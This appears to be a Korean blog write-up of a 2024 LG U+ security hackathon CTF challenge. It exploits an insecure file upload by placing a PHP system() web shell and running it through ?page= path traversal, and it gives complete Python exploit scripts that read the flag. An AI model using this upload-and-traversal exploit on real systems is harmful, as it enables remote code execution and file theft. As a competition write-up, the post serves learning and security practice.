SECURITY

[CTF 대회] LG유플러스 시큐리티 해커톤(2024)-write up

ialleejy 2024. 11. 16. 20:07

요 대회를 참가해보았다.
 
한 문제 풀었는데 write-up을 작성해볼려고 한다!

신기한게 맵 형태로 되어있다. 기존 CTF와 다른 느낌…

Account Service를 풀어보자~
 
[Account Service]

들어가면 로그인과 회원가입페이지가 보인다.
 

- 로그인 페이지
 

- 회원가입페이지
 
느낌상 파일업로드, sql 인젝션 느낌이 났다. 한 번 개발자도구로 소스코드를 보자!
 

 
확인해보니 저런 코드가 있다.
음 fileupload 느낌이 확났다. 따라서 /upload_ok.php에 php 파일을 업로드해서 플래그를 읽으면 될 것같았다.
 
- 그냥 이미지를 넣고 로그인하면

요런식으로 업로드 된 파일이 적용되지 않고 기본 이미지로 적용된다.

자 코드로 업로드해보자

import requests

# 서버 URL
url = "http://3.36.90.216/upload_ok.php" 

# 악성 파일 준비
file_path = "logotest.php" 
fake_file_content = """<?php system('ls ../../../'); ?>"""  


with open(file_path, "wb") as f:
    f.write(fake_file_content.encode())  

path_list = [
    ""  
]


for path in path_list:
    print(f"[+] Trying path: {path}")


    files = {
        'avatarFile': (file_path, open(file_path, 'rb'), 'text/html')  
        }
    data = {
        'path': path  
    }

    # POST 요청
    response = requests.post(url, files=files, data=data)

    # 결과 확인
    if response.status_code == 200 and "successfully" in response.text:
        print(f"[+] File uploaded successfully to path: {path}")
        print("Response:", response.text)
    else:
        print(f"[-] Upload failed for path: {path}")
        print("Response:", response.text)

 
이렇게 업로드 된 파일과 경로를 응답값으로 받게된다.
업로드된 php파일을 실행할 수 있는 경로를 찾아야한다..
 

?page= 여기는 php파일을 실행시켜준다. 즉 경로우회를 할 수 있는 가능성을 찾았다.

여기에 업로드된 파일의 경로로 경로우회하여 접속하면
 

ls ../../../ 실행되며 flag가 보인다.

flag를 출력하는 exploit 코드를 짜보자
 
[exploit 코드]

import requests
import re  # 정규 표현식 모듈

upload_url = "http://3.36.90.216/upload_ok.php"
view_url = "http://3.36.90.216/?page="

# 악성 PHP 파일 생성
def create_malicious_php(file_name):
    php_payload = b"<?php system('cat ../../../flag'); ?>"  
    with open(file_name, "wb") as f:
        f.write(php_payload)
    print(f"[+] Created malicious PHP file: {file_name}")

# 파일 업로드 함수
def upload_file(file_name, upload_url):
    files = {
        "avatarFile": (file_name, open(file_name, "rb"), "text/html")  
    }
    data = {
        "path": ""  
    }
    response = requests.post(upload_url, files=files, data=data)
    return response

# 업로드된 파일을 통해 플래그를 요청하는 함수
def get_flag(view_url, uploaded_path):

    traversal = "../../../../../../../../../"

    full_url = view_url + traversal + uploaded_path.split('.php')[0]
    print(f"[+] Accessing URL: {full_url}")
    
    response = requests.get(full_url)
    return response

# 플래그 추출 함수
def extract_flag(response_text):
   
    flag_pattern = re.compile(r"lguplus2024\{.*?\}")  # lguplus2024{...} 패턴
    match = flag_pattern.search(response_text)
    if match:
        return match.group(0) 
    return None

# 메인 함수
if __name__ == "__main__":

    file_name = "test.php"
    create_malicious_php(file_name)


    upload_response = upload_file(file_name, upload_url)
    if upload_response.status_code == 200 and "successfully" in upload_response.text:
      
        response_data = upload_response.json()
        file_id = response_data.get("fileId")
        uploaded_path = response_data.get("path")
        print(f"[+] File uploaded successfully! File ID: {file_id}")
        print(f"[+] File path: {uploaded_path}")

        flag_response = get_flag(view_url, uploaded_path)
        if flag_response.status_code == 200:

            flag = extract_flag(flag_response.text)
            if flag:
                print(f"[+] Flag obtained: {flag}")
            else:
                print("[-] Flag not found in the response.")
        else:
            print("[-] Failed to retrieve the flag.")
            print(f"Response: {flag_response.text}")
    else:
        print("[-] Upload failed.")
        print(f"Response: {upload_response.text}")

 
자 이렇게 exploit 코드를 전송하면

 
플래그 값이 나오며 직접 사이트를 들어가보면

요렇게 코드가 나온다!!! 재밌었다